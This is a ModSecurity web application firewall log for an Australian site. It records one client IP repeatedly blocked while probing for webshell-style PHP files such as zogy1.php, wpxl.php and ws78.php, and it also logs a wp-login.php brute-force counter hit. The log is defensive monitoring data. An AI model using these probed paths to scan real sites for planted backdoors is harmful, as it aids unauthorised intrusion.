[Sun Apr 26 07:44:20.736408 2026] [:error] [pid 16574:tid 16637] [client 158.158.100.177:8031] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/one.php"] [unique_id "ae1R1H5MsX8wRQr99nb-2AAAA1U"]
[Sun Apr 26 07:44:22.058087 2026] [:error] [pid 22572:tid 22592] [client 158.158.100.177:13501] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/one.php"] [unique_id "ae1R1tXOViWCFU-pZzB29QAAAU4"]
[Sun Apr 26 07:44:23.362494 2026] [:error] [pid 16574:tid 16621] [client 158.158.100.177:13464] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/one.php"] [unique_id "ae1R135MsX8wRQr99nb-3AAAA00"]
[Sun Apr 26 07:44:24.125535 2026] [:error] [pid 8390:tid 8468] [client 158.158.100.177:7225] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/006.php"] [unique_id "ae1R2IGPtFK_i9p5yxQuHAAAAJE"]
[Sun Apr 26 07:44:26.409353 2026] [:error] [pid 22572:tid 22582] [client 158.158.100.177:14104] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/006.php"] [unique_id "ae1R2tXOViWCFU-pZzB2-QAAAUQ"]
[Sun Apr 26 07:44:28.383443 2026] [:error] [pid 22573:tid 22618] [client 158.158.100.177:14782] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/006.php"] [unique_id "ae1R3HB3EmQlD4yKUt8mcQAAAYs"]
[Sun Apr 26 07:45:34.378574 2026] [:error] [pid 22572:tid 22589] [client 158.158.100.177:27938] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zogy1.php"] [unique_id "ae1SHtXOViWCFU-pZzB3qQAAAUs"]
[Sun Apr 26 07:45:36.524651 2026] [:error] [pid 8390:tid 8459] [client 158.158.100.177:41505] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zogy1.php"] [unique_id "ae1SIIGPtFK_i9p5yxQuUwAAAIg"]
[Sun Apr 26 07:45:38.161934 2026] [:error] [pid 16515:tid 16538] [client 158.158.100.177:27948] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zogy1.php"] [unique_id "ae1SIltDrUmgHSvpuLzNcAAAAlQ"]
[Sun Apr 26 07:45:40.282811 2026] [:error] [pid 13137:tid 13140] [client 158.158.100.177:41514] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zogy1.php"] [unique_id "ae1SJN0RB4J0o4h5neHn9wAAAgA"]
[Sun Apr 26 07:45:43.239712 2026] [:error] [pid 8385:tid 8443] [client 158.158.100.177:7420] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zoper1.php"] [unique_id "ae1SJzOy7_J84Wx3-ox0bwAAAFM"]
[Sun Apr 26 07:45:46.434639 2026] [:error] [pid 22573:tid 22621] [client 158.158.100.177:7391] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zoper1.php"] [unique_id "ae1SKnB3EmQlD4yKUt8m5wAAAY4"]
[Sun Apr 26 07:45:49.926846 2026] [:error] [pid 8390:tid 8454] [client 158.158.100.177:41509] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zoper1.php"] [unique_id "ae1SLYGPtFK_i9p5yxQuWgAAAIM"]
[Sun Apr 26 07:45:50.730182 2026] [:error] [pid 8390:tid 8465] [client 158.158.100.177:24141] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zoper1.php"] [unique_id "ae1SLoGPtFK_i9p5yxQuXAAAAI4"]
[Sun Apr 26 07:45:51.480450 2026] [:error] [pid 16515:tid 16530] [client 158.158.100.177:41482] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atkno.php"] [unique_id "ae1SL1tDrUmgHSvpuLzNuQAAAkw"]
[Sun Apr 26 07:45:53.550010 2026] [:error] [pid 13137:tid 13159] [client 158.158.100.177:26048] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atkno.php"] [unique_id "ae1SMd0RB4J0o4h5neHoKwAAAhI"]
[Sun Apr 26 07:45:54.389128 2026] [:error] [pid 22572:tid 22592] [client 158.158.100.177:24155] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atkno.php"] [unique_id "ae1SMtXOViWCFU-pZzB3rgAAAU4"]
[Sun Apr 26 07:45:55.343623 2026] [:error] [pid 22573:tid 22619] [client 158.158.100.177:7419] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atkno.php"] [unique_id "ae1SM3B3EmQlD4yKUt8m9AAAAYw"]
[Sun Apr 26 07:45:56.998851 2026] [:error] [pid 22572:tid 22585] [client 158.158.100.177:26671] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/de.php"] [unique_id "ae1SNNXOViWCFU-pZzB3sQAAAUc"]
[Sun Apr 26 07:46:02.184275 2026] [:error] [pid 22573:tid 22624] [client 158.158.100.177:24147] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/de.php"] [unique_id "ae1SOnB3EmQlD4yKUt8nBgAAAZE"]
[Sun Apr 26 07:46:05.353438 2026] [:error] [pid 22572:tid 22601] [client 158.158.100.177:52662] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/de.php"] [unique_id "ae1SPdXOViWCFU-pZzB3vAAAAVc"]
[Sun Apr 26 07:46:07.044299 2026] [:error] [pid 22573:tid 22615] [client 158.158.100.177:27927] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/de.php"] [unique_id "ae1SP3B3EmQlD4yKUt8nCgAAAYg"]
[Sun Apr 26 07:46:10.099018 2026] [:error] [pid 22573:tid 22624] [client 158.158.100.177:26056] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/insta.php"] [unique_id "ae1SQnB3EmQlD4yKUt8nDgAAAZE"]
[Sun Apr 26 07:46:12.022872 2026] [:error] [pid 13137:tid 13161] [client 158.158.100.177:41506] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/insta.php"] [unique_id "ae1SRN0RB4J0o4h5neHoRQAAAhQ"]
[Sun Apr 26 07:46:12.686250 2026] [:error] [pid 22572:tid 22587] [client 158.158.100.177:24165] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/insta.php"] [unique_id "ae1SRNXOViWCFU-pZzB3vgAAAUk"]
[Sun Apr 26 07:46:17.565715 2026] [:error] [pid 16515:tid 16534] [client 158.158.100.177:24170] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/insta.php"] [unique_id "ae1SSVtDrUmgHSvpuLzN4QAAAlA"]
[Sun Apr 26 07:46:19.809008 2026] [:error] [pid 22573:tid 22624] [client 158.158.100.177:24130] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpxl.php"] [unique_id "ae1SS3B3EmQlD4yKUt8nHgAAAZE"]
[Sun Apr 26 07:46:23.451907 2026] [:error] [pid 22572:tid 22586] [client 158.158.100.177:1989] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpxl.php"] [unique_id "ae1ST9XOViWCFU-pZzB30wAAAUg"]
[Sun Apr 26 07:46:25.715071 2026] [:error] [pid 16515:tid 16520] [client 158.158.100.177:21002] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpxl.php"] [unique_id "ae1SUVtDrUmgHSvpuLzN5gAAAkI"]
[Sun Apr 26 07:46:27.077909 2026] [:error] [pid 22572:tid 22595] [client 158.158.100.177:43428] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpxl.php"] [unique_id "ae1SU9XOViWCFU-pZzB33QAAAVE"]
[Sun Apr 26 07:46:29.571682 2026] [:error] [pid 16515:tid 16538] [client 158.158.100.177:26663] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admlo.php"] [unique_id "ae1SVVtDrUmgHSvpuLzN7gAAAlQ"]
[Sun Apr 26 07:46:31.281925 2026] [:error] [pid 22573:tid 22618] [client 158.158.100.177:26050] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admlo.php"] [unique_id "ae1SV3B3EmQlD4yKUt8nJwAAAYs"]
[Sun Apr 26 07:46:46.124069 2026] [:error] [pid 22572:tid 22588] [client 54.38.178.30:55744] [client 54.38.178.30] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.38.178.30, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ae1SZtXOViWCFU-pZzB38gAAAUo"]
[Sun Apr 26 07:47:17.004683 2026] [:error] [pid 8385:tid 8437] [client 158.158.100.177:24186] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fkohd.php"] [unique_id "ae1ShTOy7_J84Wx3-ox02QAAAE0"]
[Sun Apr 26 07:47:18.741710 2026] [:error] [pid 13197:tid 13248] [client 158.158.100.177:10292] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fkohd.php"] [unique_id "ae1Sht3kktFKdSxTrBuV0gAAAtA"]
[Sun Apr 26 07:47:20.182838 2026] [:error] [pid 13137:tid 13142] [client 158.158.100.177:2030] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fkohd.php"] [unique_id "ae1SiN0RB4J0o4h5neHocAAAAgI"]
[Sun Apr 26 07:47:21.382355 2026] [:error] [pid 16515:tid 16535] [client 158.158.100.177:31161] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fkohd.php"] [unique_id "ae1SiVtDrUmgHSvpuLzOIQAAAlE"]
[Sun Apr 26 07:47:22.595861 2026] [:error] [pid 13197:tid 13238] [client 158.158.100.177:21016] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws78.php"] [unique_id "ae1Sit3kktFKdSxTrBuV0wAAAsc"]
[Sun Apr 26 07:47:24.470975 2026] [:error] [pid 22573:tid 22630] [client 158.158.100.177:27917] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws78.php"] [unique_id "ae1SjHB3EmQlD4yKUt8ngAAAAZc"]
[Sun Apr 26 07:47:26.191889 2026] [:error] [pid 22573:tid 22612] [client 158.158.100.177:27299] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws78.php"] [unique_id "ae1SjnB3EmQlD4yKUt8nhwAAAYY"]
[Sun Apr 26 07:47:28.025861 2026] [:error] [pid 13197:tid 13251] [client 158.158.100.177:39037] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws78.php"] [unique_id "ae1SkN3kktFKdSxTrBuV1AAAAtM"]
[Sun Apr 26 07:47:36.706074 2026] [:error] [pid 16574:tid 16629] [client 158.158.100.177:24912] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws80.php"] [unique_id "ae1SmH5MsX8wRQr99nb_DgAAA1E"]
[Sun Apr 26 07:47:38.829979 2026] [:error] [pid 22572:tid 22593] [client 158.158.100.177:39031] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws80.php"] [unique_id "ae1SmtXOViWCFU-pZzB4eAAAAU8"]
[Sun Apr 26 07:47:42.401839 2026] [:error] [pid 22572:tid 22589] [client 158.158.100.177:29888] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws80.php"] [unique_id "ae1SntXOViWCFU-pZzB4gAAAAUs"]
[Sun Apr 26 07:47:47.773395 2026] [:error] [pid 8385:tid 8424] [client 158.158.100.177:60499] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zo.php"] [unique_id "ae1SozOy7_J84Wx3-ox09gAAAEA"]
[Sun Apr 26 07:47:56.378464 2026] [:error] [pid 13137:tid 13156] [client 158.158.100.177:56187] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zo.php"] [unique_id "ae1SrN0RB4J0o4h5neHodgAAAg8"]
[Sun Apr 26 07:48:01.615647 2026] [:error] [pid 13137:tid 13141] [client 158.158.100.177:21570] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xy.php"] [unique_id "ae1Ssd0RB4J0o4h5neHofwAAAgE"]
[Sun Apr 26 07:48:02.592772 2026] [:error] [pid 16574:tid 16605] [client 158.158.100.177:21579] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xy.php"] [unique_id "ae1Ssn5MsX8wRQr99nb_FQAAA0E"]
[Sun Apr 26 07:48:04.257117 2026] [:error] [pid 16515:tid 16518] [client 158.158.100.177:8200] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xy.php"] [unique_id "ae1StFtDrUmgHSvpuLzOLwAAAkA"]
[Sun Apr 26 07:48:05.102694 2026] [:error] [pid 16574:tid 16623] [client 158.158.100.177:16739] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xy.php"] [unique_id "ae1StX5MsX8wRQr99nb_FgAAA04"]
[Sun Apr 26 07:48:05.980077 2026] [:error] [pid 16574:tid 16633] [client 158.158.100.177:23482] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/masks.php"] [unique_id "ae1StX5MsX8wRQr99nb_GgAAA1M"]
[Sun Apr 26 07:48:07.773016 2026] [:error] [pid 16574:tid 16629] [client 158.158.100.177:8236] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/masks.php"] [unique_id "ae1St35MsX8wRQr99nb_HwAAA1E"]
[Sun Apr 26 07:48:08.531893 2026] [:error] [pid 22573:tid 22612] [client 158.158.100.177:8241] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/masks.php"] [unique_id "ae1SuHB3EmQlD4yKUt8nuwAAAYY"]
[Sun Apr 26 07:48:09.482319 2026] [:error] [pid 13137:tid 13155] [client 158.158.100.177:22853] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/masks.php"] [unique_id "ae1Sud0RB4J0o4h5neHogQAAAg4"]
[Sun Apr 26 07:48:10.433922 2026] [:error] [pid 13137:tid 13152] [client 158.158.100.177:17355] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/man.php"] [unique_id "ae1Sut0RB4J0o4h5neHogwAAAgs"]
[Sun Apr 26 07:48:11.953892 2026] [:error] [pid 8383:tid 8410] [client 158.158.100.177:24765] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/man.php"] [unique_id "ae1Su9Fa2S3EsATMdWPRCgAAAA0"]
